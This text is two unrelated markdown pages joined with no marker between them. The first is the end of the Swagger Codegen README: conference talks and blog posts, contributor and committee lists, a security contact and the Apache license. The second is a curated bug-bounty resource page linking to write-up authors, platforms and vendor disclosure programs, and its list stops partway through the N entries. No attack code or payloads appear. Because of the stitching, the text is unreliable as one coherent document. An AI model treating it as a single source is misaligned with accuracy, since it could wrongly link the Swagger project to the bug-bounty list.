ecosystem](http://blog.cliffano.com/2016/11/10/adobe-marketing-cloud-community-expo/) by Cliffano Subagio, Michael Diender, Stephen Shim from [Shine Solutions](https://shinesolutions.com/) @ [Adobe Marketing Cloud Community Expo (AMCCE)](https://www.meetup.com/Melbourne-AEM-CQ-Meetup/events/233363101/) - 2016/11/18 - [How to generate a REST CXF3 application from Swagger-Contract](https://www.slideshare.net/johannes_fiala/how-to-generate-a-rest-cxf3-application-from-swagger-apacheconeu-2016) by [Johannes Fiala](https://github.com/jfiala) @ ApacheConEU 2016 - 2016/11/25 - [Swagger Codegen for Swift3 and NodeJS](https://normand1.github.io/blog/swift/swagger/codegen/2016/11/25/Swagger-Codegen-for-Swift3-and-NodeJS.html) by [David Norman](https://github.com/normand1) - 2016/12/08 - [Building an API with Swagger](https://www.youtube.com/watch?v=PbwQWw7xSOM) - 2016/12/08 - [Generate client side code using Swagger Codegen](https://carra-lucia-ltd.co.uk/2016/12/08/generate-client-side-code-using-swagger-codegen/) by [theFerkel](https://carra-lucia-ltd.co.uk/author/theferkel/) - 2017/01/16 - [Zero to API in 4 minutes](https://cidrblock.github.io/zero-to-api-in-4-minutes.html) by [Bradley A. Thornton](https://github.com/cidrblock) - 2017/02/09 - [「Swaggerを利用した新規サービス開発」というタイトルで登壇して来ました](https://techblog.recochoku.jp/1055) by [recotech](https://www.slideshare.net/recotech) - 2017/03/03 - [Swagger Codegen の使い方の簡単な説明です](https://speakerdeck.com/wagyu298/swagger-codegen) by [wagyu298](https://github.com/wagyu298) - 2017/03/24 - [Using Open API Specification To Put Lyft SDK Support in the Fast Lane](https://medium.com/lyft-developer-platform/using-open-api-specification-to-put-lyft-sdk-support-in-the-fast-lane-7b623218e4ee) by [Val Polouchkine](https://github.com/vpolouchkine) - 2017/04/13 - [Automatically Generating your API Client with Swagger and Swagger Codegen](https://www.youtube.com/watch?v=EzKwi-u9jQo) by [Jesse Collis](https://github.com/jessedc) @ Melbourne Cocoaheads - 2017/04/27 - [Swagger Codegen のPHP実装があまりにアレだったので、ライブラリ自作して公開してみた](http://qiita.com/imunew/items/2e9c472e0097e329f2cd) by [imunew](http://qiita.com/imunew) - 2017/05/17 - [Diseño de APIs con OpenAPI](https://www.slideshare.net/pjmolina/diseo-de-apis-con-openapi) by [Pedro J. Molina](https://github.com/pjmolina) @ [JSDayES 2017](http://2017.jsday.es/) - 2017/05/22 - [Presentation of the Vert.x-Swagger project](http://vertx.io/blog/presentation-of-the-vert-x-swagger-project/) by [@phiz71](http://github.com/phiz71) - 2017/05/22 - [Automatically generating your API from a swagger file using gradle](https://www.jcore.com/2017/05/22/automatically-generating-api-using-swagger-and-gradle/) by [Deniz Turan](https://www.jcore.com/author/deniz/) - 2017/06/21 - [Swagger Presentation - Warsaw Ruby Users Group](https://www.youtube.com/watch?v=uCnnDMFQB8U) by [@rafalpetryka](http://github.com/rafalpetryka) - 2017/06/29 - [Making SDKs: the bespoke, the hopeful and the generated](https://devrel.net/developer-experience/making-sdks-bespoke-hopeful-generated) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) at DevXcon 2017 - 2017/07/11 - [OpenAPI development with Python](https://www.slideshare.net/TakuroWada/20170711-euro-python2017) by [和田拓朗](https://github.com/taxpon) at [EuroPython 2017](https://ep2017.europython.eu/en/) - 2017/07/29 - [How Square makes its SDKs](https://medium.com/square-corner-blog/how-square-makes-its-sdks-6a0fd7ea4b2d) by [Tristan Sokol](https://github.com/tristansokol) ([Square](https://github.com/square)) - 2017/07/31 - [How to Generate a Deployable REST CXF3 Application from a Swagger-Contract](https://www.youtube.com/watch?v=gM63rJlUHZQ) by [Johannes Fiala](https://github.com/jfiala) @ Voxxed Days Vienna - 2017/08/11 - [Swagger Codegen 自动生成Retrofit 代码](https://juejin.im/entry/598d8eb86fb9a03c52459e2a) by [徐磊](http://www.jianshu.com/u/792c738b33fc) - 2017/08/24 - [APIs First](https://engineering.squarespace.com/blog/2017/apis-first) by [roykachouh](https://github.com/roykachouh) ([Square](https://github.com/square)) - 2017/08/31 - [Bringing Jenkins Remote Access API To The Masses](http://blog.cliffano.com/2017/09/01/jenkins-world-2017/) by [Cliffano Subagio](http://cliffano.com) from [Shine Solutions](https://shinesolutions.com/) @ [Jenkins World 2017](https://jenkinsworld20162017.sched.com/) - 2017/09/08 - [Swagger Codegen で自動生成したクライアントSDKを使う(iOS編)](http://blog.techium.jp/entry/2017/09/08/071650) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [Swagger Codegen で自動生成したクライアントSDKを使う(RxSwift 編)](http://blog.techium.jp/entry/2017/09/09/113003) by [kfurue](http://profile.hatena.ne.jp/kfurue/) - 2017/09/09 - [OpenAPIを利用したPythonWebアプリケーション開発](https://www.slideshare.net/TakuroWada/openapipythonweb) by [和田拓朗](https://github.com/taxpon) at [PyCon JP 2017](https://pycon.jp/2017/ja/) - 2017/09/21 - [Generating an Elastic Cloud Enterprise Client](https://www.elastic.co/blog/generating-an-elastic-cloud-enterprise-client) by [Greg Marzouka](https://github.com/gmarz) ([Elastic](https://www.elastic.co/)) - 2017/09/26 - [How to Use IoT Application Enablement Api Hub JSON Descriptor in Postman and How to Generate Client Code](https://www.linkedin.com/in/radu-simen/) by [Radu Simen](https://www.linkedin.com/in/radu-simen/) ([SAP](https://www.sap.com/)) - 2017/09/28 - [Swagger Codegenで APIクライアントgem 自動生成 #m3kt](https://speakerdeck.com/juntaki/swagger-codegende-apikuraiantogem-zi-dong-sheng-cheng-number-m3kt) by [Jumpei Takiyasu](https://github.com/juntaki) - 2017/09/30 - [Swaggerのテンプレートを魔改造した話 #渋谷java](https://www.slideshare.net/int128/swagger-80309224) by [Hidetake Iwata](https://github.com/int128) ([NTT DATA Corporation](http://www.nttdata.com/global/en/)) - 2017/10/04 - [Enterprise-friendly Java client for Microsoft Machine Learning Server](https://blogs.msdn.microsoft.com/mlserver/2017/10/04/enterprise-friendly-java-client-for-microsoft-machine-learning-server/) by [Pratik Palnitkar](https://www.linkedin.com/in/pratikpalnitkar/) ([Microsoft](https://www.microsoft.com/)) - 2017/10/08 - [Generating a REST Ada client with OpenAPI and Swagger Codegen](https://blog.vacs.fr/vacs/blogs/post.html?post=2017/10/08/Generating-a-REST-Ada-client-with-OpenAPI-and-Swagger-Codegen) by [Stephane Carrez](https://github.com/stcarrez) - 2017/11/08 - [A Beginner's Guide to Code Generation for REST APIs](https://gum.co/swagger_codegen_beginner)(eBook) by [William Cheng](https://twitter.com/wing328) - 2017/11/18 - [10年前のレガシーシステムをサーバーサイドKotlinでフルリニューアルしている話 #jjug_ccc #ccc_g2](https://speakerdeck.com/maeharin/10nian-qian-falseregasisisutemuwosabasaidokotlindehururiniyuarusiteiruhua-number-jjug-ccc-number-ccc-g2) by [Hidenori Maehara](https://github.com/maeharin) - 2017/11/21 - [swagger-codegen から眺める Swift4](https://speakerdeck.com/d_date/swagger-codegen-karatiao-meru-swift4) by [Daiki Matsudate](https://github.com/d-date) - 2017/12/07 - [API-driven development with OpenAPI and Swagger, Part 2](https://www.itworld.com/article/3199190/apis/api-driven-development-with-openapi-and-swagger-part-2.html) by Matthew Tyson - 2017/12/29 - [REST APIs代码生成指南](https://gumroad.com/l/swagger_codegen_beginner_zh)(eBook) by [William Cheng](https://github.com/wing328), [Xin Meng](https://github.com/xmeng1) - 2017/12/21 - [Using Protocol Buffer to Generate SDK at Hootsuite](http://code.hootsuite.com/using-protocol-buffer-to-generate-sdk-at-hoosuite/?lipi=urn%3Ali%3Apage%3Ad_flagship3_messaging%3By4ATz3SDRXyvXJJ14LQysQ%3D%3D) by [Joy Zhang](https://www.linkedin.com/in/joy8zhang/) - 2018/01/11 - [Swagger 工具箱介绍及代码自动生成示例](https://github.com/qct/swagger-example) by [qct](https://github.com/qct) - 2018/01/19 - [Generowanie kodu usług REST - przewodnik dla początkujących](https://gum.co/swagger_codegen_beginner_pl)(eBook) by [William Cheng](https://github.com/wing328), [Tomasz Prus](https://github.com/tomplus), [Bartek Kryza](https://github.com/bkryza) - 2018/02/03 - [Writing REST APIs with OpenAPI and Swagger Ada](https://www.slideshare.net/StephaneCarrez1/writing-rest-apis-with-openapi-and-swagger-ada/StephaneCarrez1/writing-rest-apis-with-openapi-and-swagger-ada) by [Stephane Carrez](https://github.com/stcarrez) at [FOSDEM 2018](https://fosdem.org/2018) - 2018/02/28 - [OpenAPI–An eBay Perspective](https://www.ebayinc.com/stories/blogs/tech/openapi-an-ebay-perspective/) by Shekhar Banerjee (eBay) - 2018/03/16 - [REST APIのためのコード生成入門](https://gumroad.com/l/swagger_codegen_beginner_jp) by [William Cheng](https://github.com/wing328), [中野暁人](https://github.com/ackintosh), [和田拓朗](https://github.com/taxpon) # Swagger Codegen Core Team Swagger Codegen core team members are contributors who have been making significant contributions (review issues, fix bugs, make enhancements, etc) to the project on a regular basis. ## Core Team Members ## Template Creator Here is a list of template creators: * API Clients: * Ada: @stcarrez * Akka-Scala: @cchafer * Apex: @asnelling * Bash: @bkryza * C++ REST: @Danielku15 * C# (.NET 2.0): @who * C# (.NET Standard 1.3 ): @Gronsak * C# (.NET 4.5 refactored): @jimschubert * Clojure: @xhh * Dart: @yissachar * Dart (refactored in 2.4.0): @joernahrens * Elixir: @niku * Elm: @trenneman * Eiffel: @jvelilla * Erlang: @tsloughter * Groovy: @victorgit * Go: @wing328 * Go (rewritten in 2.3.0): @antihax * Haskell (http-client): @jonschoning * Java (Feign): @davidkiss * Java (Retrofit): @0legg * Java (Retrofit2): @emilianobonassi * Java (Jersey2): @xhh * Java (okhttp-gson): @xhh * Java (RestTemplate): @nbruno * Java (RESTEasy): @gayathrigs * Java (Vertx): @lopesmcc * Java (Google APIs Client Library): @charlescapps * Java (Rest-assured): @viclovsky * Javascript/NodeJS: @jfiala * Javascript (Closure-annotated Angular) @achew22 * JMeter: @davidkiss * Kotlin: @jimschubert * Lua: @daurnimator * Perl: @wing328 * PHP (Guzzle): @baartosz * PowerShell: @beatcracker * R: @ramnov * Rust: @farcaller * Rust (rust-server): @metaswitch * Scala (scalaz & http4s): @tbrown1979 * Swift: @tkqubo * Swift 3: @hexelon * Swift 4: @ehyche * TypeScript (Node): @mhardorf * TypeScript (Angular1): @mhardorf * TypeScript (Fetch): @leonyu * TypeScript (Angular2): @roni-frantchi * TypeScript (jQuery): @bherila * Server Stubs * Ada: @stcarrez * C# ASP.NET5: @jimschubert * C# NancyFX: @mstefaniuk * C++ Pistache: @sebymiano * C++ Restbed: @stkrwork * Erlang Server: @galaxie * Go Server: @guohuang * Haskell Servant: @algas * Java MSF4J: @sanjeewa-malalgoda * Java Spring Boot: @diyfr * Java Undertow: @stevehu * Java Play Framework: @JFCote * Java PKMST: @anshu2185 @sanshuman @rkumar-pk @ninodpillai * JAX-RS RestEasy: @chameleon82 * JAX-RS CXF: @hiveship * JAX-RS CXF (CDI): @nickcmaynard * JAX-RS RestEasy (JBoss EAP): @jfiala * Kotlin: @jimschubert * PHP Lumen: @abcsun * PHP Slim: @jfastnacht * PHP Symfony: @ksm2 * PHP Zend Expressive (with Path Handler): @Articus * Ruby on Rails 5: @zlx * Rust (rust-server): @metaswitch * Scala Finch: @jimschubert * Scala Lagom: @gmkumar2005 * Documentation * HTML Doc 2: @jhitchcock * Confluence Wiki: @jhitchcock * Configuration * Apache2: @stkrwork ## How to join the core team Here are the requirements to become a core team member: - rank within top 50 in https://github.com/swagger-api/swagger-codegen/graphs/contributors - to contribute, here are some good [starting points](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) - regular contributions to the project - about 3 hours per week - for contribution, it can be addressing issues, reviewing PRs submitted by others, submitting PR to fix bugs or make enhancements, etc To become a Template Creator, simply submit a PR for new API client (e.g. Rust, Elixir) or server stub (e.g. Ruby Grape) generator. # Swagger Codegen Technical Committee Members of the Swagger Codegen technical committee shoulder the following responsibilities: - Provides guidance and direction to other users - Reviews pull requests and issues - Improves the generator by making enhancements, fixing bugs or updating documentations - Sets the technical direction of the generator Who is eligible? Those who want to join must have at least 3 PRs merged into a generator. (Exceptions can be granted to template creators or contributors who have made a lot of code changes with less than 3 merged PRs) ## Members of Technical Committee | Languages | Member (join date) | |:-------------|:-------------| | ActionScript | | | Ada | @stcarrez (2018/02) | | Android | | | Apex | | | Bash | @kenjones-cisco (2017/09) | | C++ | @fvarose (2017/11) | | C# | @mandrean (2017/08) | | Clojure | | | Dart | @ircecho (2017/07) | | Eiffel | | | Elixir | | | Elm | | | Erlang | | | Groovy | | | Go | | | Haskell | | | Java | | | Kotlin | | | Lua | | | NodeJS/Javascript | @CodeNinjai (2017/07) | | ObjC | | | Perl | | | PHP | @dkarlovi (2017/07) @mandrean (2017/08) | | Python | @kenjones-cisco (2017/11)| | R | | | Ruby | @zlx (2017/09) | | Rust | | | Scala | | | Swift | @ehyche (2017/08) | | TypeScript | | # Security contact Please disclose any security-related issues or vulnerabilities by emailing [[email protected]](mailto:[email protected]), instead of using the public issue tracker. # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. # License ``` Copyright 2019 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ```
<h1>Bug Bounty Resources And Readings</h1> <h2>#100DaysOfCode</h2> <hr> ## GitHub Links for the Resources **** #### [Bug-Bounty-References](https://github.com/ngalongc/bug-bounty-reference) #### [Awesome-Bug-Bounty](https://github.com/djadmin/awesome-bug-bounty) #### [Bug-Hunting Methodology](https://github.com/jhaddix/tbhm) #### [Awesome Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) #### [Bug-Bounty Cheatsheet](https://github.com/EdOverflow/bugbounty-cheatsheet) #### [BugCrowd University](https://github.com/bugcrowd/bugcrowd_university) ## Bug Bounty POCs ***** #### [XSS-POCs](http://www.xsses.com/) #### [Bugcrowd-POC-Forum](https://forum.bugcrowd.com/c/security-research/proof-of-concepts) #### [Bugcrowd-researchers-Writeups ](https://forum.bugcrowd.com/t/researcher-resources-bounty-bug-write-ups/1137) #### [Pentester's - Top writeups](https://pentester.land/list-of-bug-bounty-writeups.html) #### [Secgeek Writeups](https://secgeek.net/category/write-ups/) #### [Hackerone Unofficial Public Reports](http://h1.nobbd.de/) <h2>A comprehensive curated list of Bug Bounty Programs and write-ups from the Bug Bounty hunters.</h2> ## Table of Contents - [Getting Started](#getting-started) - [Write Ups & Authors](#write-ups--authors) - [Platforms](#platforms) - [Available Programs](#available-programs) - [Contribution guide](contributing.md) ### Getting Started - [How to Become a Successful Bug Bounty Hunter](https://hackerone.com/blog/what-great-hackers-share) - [Researcher Resources - How to become a Bug Bounty Hunter](https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102) - [Bug Bounties 101](https://whitton.io/articles/bug-bounties-101-getting-started/) - [The life of a bug bounty hunter](http://www.alphr.com/features/378577/q-a-the-life-of-a-bug-bounty-hunter) - [Awsome list of bugbounty cheatsheets](https://github.com/EdOverflow/bugbounty-cheatsheet) - [Getting Started - Bug Bounty Hunter Methodology](https://blog.bugcrowd.com/getting-started-bug-bounty-hunter-methodology) ### Write Ups & Authors - [sakurity.com/blog](http://sakurity.com/blog) - by [Egor Homakov](https://twitter.com/homakov) - [respectxss.blogspot.in](http://respectxss.blogspot.in/) - by [Ashar Javed](https://twitter.com/soaj1664ashar) - [labs.detectify.com](http://labs.detectify.com/) - by [Frans Rosén](https://twitter.com/fransrosen) - [cliffordtrigo.info](https://www.cliffordtrigo.info/) - by [Clifford Trigo](https://twitter.com/MrTrizaeron) - [stephensclafani.com](http://stephensclafani.com/) - by [Stephen Sclafani](https://twitter.com/Stephen) - [sasi2103.blogspot.co.il](http://sasi2103.blogspot.co.il/) - by [Sasi Levi](https://twitter.com/sasi2103) - [pwnsecurity.net](http://www.pwnsecurity.net/) - by [Shashank](https://twitter.com/cyberboyIndia) - [breaksec.com](https://www.breaksec.com/) - by [Nir Goldshlager](https://twitter.com/Nirgoldshlager) - [pwndizzle.blogspot.in](http://pwndizzle.blogspot.in/) - by [Alex Davies](https://twitter.com/pwndizzle) - [c0rni3sm.blogspot.in](http://c0rni3sm.blogspot.in/) - by [yappare](https://twitter.com/yappare) - [exploit.co.il/blog](http://exploit.co.il/blog/) - by [Shai rod](https://twitter.com/NightRang3r) - [ibreak.software](https://ibreak.software/) - by [Riyaz Ahemed Walikar](https://twitter.com/riyazwalikar) - [panchocosil.blogspot.in](http://panchocosil.blogspot.in/) - by [Francisco Correa](https://twitter.com/@panchocosil) - [breakingmesh.blogspot.in](http://breakingmesh.blogspot.in/) - by [Sahil Sehgal](https://twitter.com/xXSehgalXx) - [websecresearch.com](http://www.websecresearch.com/) - by [ Ajay Singh Negi](https://twitter.com/ajaysinghnegi) - [securitylearn.net](http://www.securitylearn.net/about/) - by [Satish Bommisetty](https://twitter.com/satishb3) - [secinfinity.net](http://www.secinfinity.net/) - by Prakash Sharma - [websecuritylog.com](http://www.websecuritylog.com/) - by [jitendra jaiswal](https://twitter.com/jeetjaiswal22) - [medium.com/@ajdumanhug](https://medium.com/@ajdumanhug) - by [Allan Jay Dumanhug](https://www.twitter.com/ajdumanhug) - [Web Hacking 101](https://leanpub.com/web-hacking-101) - by [Peter Yaworski](https://twitter.com/yaworsk) ### Platforms - [HackerOne](https://hackerone.com/) - [Bugcrowd](https://bugcrowd.com/) - [Cobalt](https://cobalt.io/) - [Bountysource](https://www.bountysource.com/) - [Bounty Factory](https://bountyfactory.io/) - [Coder Bounty](http://www.coderbounty.com/) - [FreedomSponsors](https://freedomsponsors.org/) - [FOSS Factory](http://www.fossfactory.org/) - [Synack](https://www.synack.com/) ### Available Programs - [123Contact Form](http://www.123contactform.com/security-acknowledgements.htm) - [99designs](https://hackerone.com/99designs) - [Abacus](https://bugcrowd.com/abacus) - [Acquia](mailto:[email protected]) - [ActiveCampaign](mailto:[email protected]) - [ActiveProspect](mailto:[email protected]) - [Adobe](https://hackerone.com/adobe) - [AeroFS](mailto:[email protected]) - [Airbitz](https://cobalt.io/airbitz) - [Airbnb](https://hackerone.com/airbnb) - [Algolia](https://hackerone.com/algolia) - [Altervista](http://en.altervista.org/feedback.php?who=feedback) - [Amara](mailto:[email protected]) - [Amazon Web Services](mailto:[email protected]) - [Amazon.com](mailto:[email protected]) - [ANCILE Solutions Inc.](https://bugcrowd.com/ancile) - [Anghami](https://hackerone.com/anghami) - [ANXBTC](https://cobalt.io/anxbtc) - [Apache httpd](https://hackerone.com/ibb-apache) - [Appcelerator](mailto:[email protected]) - [Apple](mailto:[email protected]) - [Apptentive](https://www.apptentive.com/contact) - [Aptible](mailto:[email protected]) - [Ardour](http://tracker.ardour.org/my_view_page.php) - [ARM mbed](mailto:[email protected]) - [Asana](mailto:[email protected]) - [ASP4all](mailto:[email protected]) - [AT&T](https://bugbounty.att.com/bugform.php) - [Atlassian](https://securitysd.atlassian.net/servicedesk/customer/portal/2) - [Attack-Secure](mailto:[email protected]) - [Authy](mailto:[email protected]) - [Automattic](https://hackerone.com/automattic) - [Avast!](mailto:[email protected]) - [Avira](mailto:[email protected]) - [AwardWallet](https://cobalt.io/awardwallet) - [Badoo](https://corp.badoo.com/en/security/#send_bid) - [Barracuda](https://bugcrowd.com/barracuda) - [Basecamp](mailto:[email protected]) - [Beanstalk](https://wildbit.wufoo.com/forms/wildbit-security-response) - [BillGuard](https://cobalt.io/billguard) - [Billys Billing](https://cobalt.io/billys-billing) - [Binary.com](https://hackerone.com/binary) - [Binary.com Cashier](https://hackerone.com/binary_cashier) - [BitBandit.eu](https://cobalt.io/bitbandit-eu) - [Bitcasa](mailto:[email protected]) - [BitCasino](https://cobalt.io/bitcasino) - [BitGo](https://cobalt.io/bitgo) - [BitHealth](https://cobalt.io/bithealth) - [BitHunt](https://hackerone.com/bithunt) - [BitMEX](https://cobalt.io/bitmex) - [Bitoasis](https://cobalt.io/bitoasis) - [Bitpagos](https://cobalt.io/bitpagos) - [Bitrated](https://cobalt.io/bitrated) - [Bitreserve](https://cobalt.io/bitreserve) - [Bitspark](https://cobalt.io/bitspark) - [Bitwage](https://cobalt.io/bitwage) - [BitWall](mailto:[email protected]) - [BitYes](https://cobalt.io/bityes) - [BlackBerry](https://global.blackberry.com/secure/report-an-issue/en.html) - [Blackboard](mailto:[email protected]) - [Blackphone](https://bugcrowd.com/blackphone) - [Blesta](mailto:[email protected]) - [Block.io](https://hackerone.com/blockio) - [Block.io, Inc.](https://cobalt.io/block-io-inc) - [Blockchain.info](https://cobalt.io/blockchain-info) - [BlockScore](https://cobalt.io/blockscore) - [Bookfresh](https://hackerone.com/bookfresh) - [Box](mailto:[email protected]) - [Braintree](mailto:[email protected]) - [BTC_sx](https://cobalt.io/btc-sx) - [Buffer](mailto:[email protected]) - [BX.in.th](https://cobalt.io/bx-in-th) - [C2FO](https://hackerone.com/c2fo) - [Campaign Monitor](https://help.campaignmonitor.com/contact) - [CARD.com](https://bugcrowd.com/card) - [Catchafire](https://cobalt.io/catchafire) - [Caviar](https://hackerone.com/caviar) - [CCBill](mailto:[email protected]) - [CERT/CC](https://hackerone.com/cert) - [Certly](https://hackerone.com/certly) - [ChainPay](https://cobalt.io/chainpay) - [ChangeTip](https://cobalt.io/changetip) - [Chargify](https://bugcrowd.com/chargify) - [Chromium Project](https://code.google.com/p/chromium/issues/entry?template=Security%20Bug) - [Circle](https://cobalt.io/circle) - [CircleCI](mailto:[email protected]) - [Cisco](http://www.cisco.com/web/about/security/psirt/security_vulnerability_policy.html#roosfassv) - [Clojars](mailto:[email protected]) - [CloudFlare](https://hackerone.com/cloudflare) - [Cobalt](https://cobalt.io/cobalt) - [Code Climate](mailto:[email protected]) - [CodeIgniter](https://hackerone.com/codeigniter) - [CodePen](https://bugcrowd.com/codepen) - [Coin Republic](https://cobalt.io/coin-republic) - [Coin.Space](https://hackerone.com/coinspace) - [Coinage](https://cobalt.io/coinage) - [Coinbase](https://hackerone.com/coinbase) - [CoinDaddy](https://cobalt.io/coindaddy) - [Coinkite](mailto:[email protected]?subject=%5BVulnerability%5D%20-%20) - [Coinport](https://cobalt.io/coinport) - [coins.ph](https://cobalt.io/coins-ph) - [Cointrader.net](https://cobalt.io/cointrader-net) - [Coinvoy](https://cobalt.io/coinvoy) - [Compose](mailto:[email protected]) - [concrete5](https://hackerone.com/concrete5) - [Constant Contact](mailto:[email protected]) - [Counterparty](https://cobalt.io/counterparty) - [Coupa](mailto:[email protected]) - [Coursera](https://hackerone.com/coursera) - [cPanel](mailto:[email protected]) - [cPaperless](mailto:[email protected]) - [Crix.io](https://cobalt.io/crixio) - [CrowdShield](https://crowdshield.com/bug-bounty-list.php?bug_bounty_program=crowdshield) - [Cryptocat](https://github.com/cryptocat/cryptocat/issues) - [Cupcake](mailto:[email protected]) - [CustomerInsight](mailto:[email protected]) - [Cylance](https://hackerone.com/cylance) - [Dato Capital](mailto:security%40datocapital.com) - [Detectify](mailto:[email protected]) - [DigitalOcean](mailto:[email protected]) - [DigitalSellz](https://hackerone.com/digitalsellz) - [Django](https://hackerone.com/django) - [Doorkeeper](mailto:[email protected]) - [DoSomething](https://cobalt.io/dosomething) - [DPD](mailto:[email protected]) - [Dropbox](https://hackerone.com/dropbox) - [Dropbox Acquisitions](https://hackerone.com/dropbox-acquisitions) - [Drupal](https://www.drupal.org/node/101494) - [eBay](http://pages.ebay.com/securitycenter/Researchers.html) - [Eclipse](mailto:[email protected]) - [EMC](mailto:[email protected]) - [Enano](mailto:[email protected]) - [Engine Yard](mailto:[email protected]) - [Envoy](https://hackerone.com/envoy) - [Eobot](https://cobalt.io/eobot) - [EthnoHub](mailto:[email protected]) - [Etsy](https://www.etsy.com/bounty) - [EVE](mailto:[email protected]) - [Event Espresso](http://eventespresso.com/report-a-security-vulnerability) - [Evernote](mailto:[email protected]) - [Expatistan](mailto:[email protected]) - [ExpressionEngine](https://hackerone.com/expressionengine) - [Ezbob](https://cobalt.io/ezbob) - [Facebook](https://www.facebook.com/whitehat) - [Faceless](https://hackerone.com/faceless) - [Factlink](https://hackerone.com/factlink) - [FanFootage](https://hackerone.com/fanfootage) - [FastSlots](https://cobalt.io/fastslots) - [Flash](https://hackerone.com/flash) - [Flood](mailto:[email protected]) - [Flow Dock](mailto:[email protected]) - [Flox](https://hackerone.com/flox) - [Fluxiom](mailto:[email protected]) - [Fog Creek](http://www.fogcreek.com/contact) - [FormAssembly](mailto:[email protected]) - [Founder Bliss](https://cobalt.io/founder-bliss) - [Foursquare](mailto:[email protected]) - [Freelancer](mailto:[email protected]) - [Gallery](mailto:[email protected]) - [Gamma](mailto:[email protected]) - [Gemfury](mailto:[email protected]) - [General Motors](https://hackerone.com/gm) - [GhostMail](https://hackerone.com/gmguys) - [GitHub](https://bounty.github.com/submit-a-vulnerability.html) - [GitLab](https://hackerone.com/gitlab) - [GlassWire](https://hackerone.com/glasswire) - [Gliph](mailto:[email protected]) - [GlobaLeaks](https://hackerone.com/globaleaks) - [Google PRP](mailto:[email protected]) - [Google VRP](https://www.google.com/about/appsecurity/reward-program/index.html) - [Gratipay](https://hackerone.com/gratipay) - [GreenAddress](https://cobalt.io/greenaddress) - [Greenhouse.io](https://hackerone.com/greenhouse) - [Grok Learning](mailto:[email protected]) - [HackerOne](https://hackerone.com/security) - [Harmony](mailto:[email protected]) - [Heroku](https://bugcrowd.com/heroku) - [Hex-Rays](mailto:[email protected]) - [Hive Wallet](https://cobalt.io/hive-wallet) - [Hootsuite](mailto:[email protected]) - [HTC](mailto:[email protected]) - [Huawei](mailto:[email protected]) - [Hubdia](https://hackerone.com/hubdia) - [Humble Bundle](https://bugcrowd.com/humblebundle) - [Ian Dunn](https://hackerone.com/iandunn-projects) - [IBM](https://www.ibm.com/scripts/contact/contact/us/en/security_vulnerabilities) - [ICEcoder](https://bugcrowd.com/icecoder) - [Iconfinder](mailto:[email protected]) - [Ifixit](mailto:[email protected]) - [Imgur](https://hackerone.com/imgur) - [ImpressPages](https://cobalt.io/impresspages) - [Indeed](https://bugcrowd.com/indeed) - [Independent Reserve](https://cobalt.io/independent-reserve) - [Informatica](https://hackerone.com/informatica) - [IntegraXor](http://www.integraxor.com/support.html) - [Internetwache](mailto:[email protected]) - [InVision](https://hackerone.com/invision) - [IRCCloud](https://hackerone.com/irccloud) - [itBit Exchange](https://hackerone.com/itbit) - [ITRP](mailto:[email protected]) - [joola.io](https://hackerone.com/joola-io) - [Joomla](http://vel.joomla.org/submit-vel) - [JRuby](mailto:[email protected]) - [jsDelivr](https://hackerone.com/jsdelivr) - [Juniper](mailto:[email protected]) - [Kadira](https://hackerone.com/kadira) - [Kaneva](mailto:[email protected]) - [Kayako](http://my.kayako.com/Tickets/Submit) - [Kenna](https://bugcrowd.com/riskio) - [Keybase](https://hackerone.com/keybase) - [Khan Academy](https://hackerone.com/khanacademy) - [Kraken](mailto:[email protected]) - [Lancor Income](https://cobalt.io/lancor-income) - [LastPass](mailto:[email protected]) - [LaunchKey](mailto:[email protected]) - [Lean Testing](https://hackerone.com/leantesting) - [leetfiles](https://hackerone.com/leetfiles) - [Librato](mailto:[email protected]) - [LibSass](https://hackerone.com/libsass) - [Liferay](mailto:[email protected]) - [Line](https://bugbounty.linecorp.com/en/) - [LinkedIn](mailto:[email protected]) - [LiveEnsure](http://www.liveensure.com/contact.php) - [LocalBitcoins](https://cobalt.io/localbitcoins) - [Localize](https://hackerone.com/localize) - [Logentries](mailto:[email protected]) - [Lookout](mailto:[email protected]) - [Magento](mailto:[email protected]) - [MAGIX](mailto:[email protected]) - [Mahara](mailto:[email protected]) - [MaiCoin](https://cobalt.io/maicoin) - [Mail.Ru](https://hackerone.com/mailru) - [Mailbird](https://cobalt.io/mailbird) - [MailChimp](http://mailchimp.com/about/security-response/) - [ManageBGL](https://cobalt.io/managebgl) - [ManageWP](mailto:[email protected]) - [MapLogin](https://hackerone.com/maplogin) - [Marktplatts](https://hackerone.com/marktplaats) - [Mavenlink](https://hackerone.com/mavenlink) - [Maximum](https://hackerone.com/maximum) - [MCProHosting](https://bugcrowd.com/mcprohostings) - [MEGA](mailto:[email protected]) - [Mercury](https://cobalt.io/mercury) - [Meteor](https://hackerone.com/meteor) - [meXBT](https://cobalt.io/mexbt) - [Microsoft](mailto:[email protected]) - [Mimecast](mailto:[email protected]) - [Mobile Vikings](https://hackerone.com/mobilevikings) - [Modus CSR](mailto:[email protected]) - [MoneyBird](mailto:[email protected]) - [MoneyStream](https://hackerone.com/moneystream) - [Moodle](mailto:[email protected]) - [Motorola Solutions](mailto:[email protected]) - [Mozilla](https://www.mozilla.org/en-US/security/bug-bounty/) - [mynxt.info](https://cobalt.io/mynxt-info) - [Natures Organics](mailto:[email protected]) - [NCSC](mailto:[email protected]) - [Nearby Live](https://hackerone.com/nearby) - [Nest](mailto:[email protected]) - [Netflix](mailto:[email protected]) - [Nexmo](https://cobalt.io/nexmo) - [Nginx](https://hackerone.com/ibb-nginx) - [Nitrous](mailto:[email protected]) - [Nokia Networks](mailto:[email protected]) - [NoPass](https://cobalt.io/nopass) - 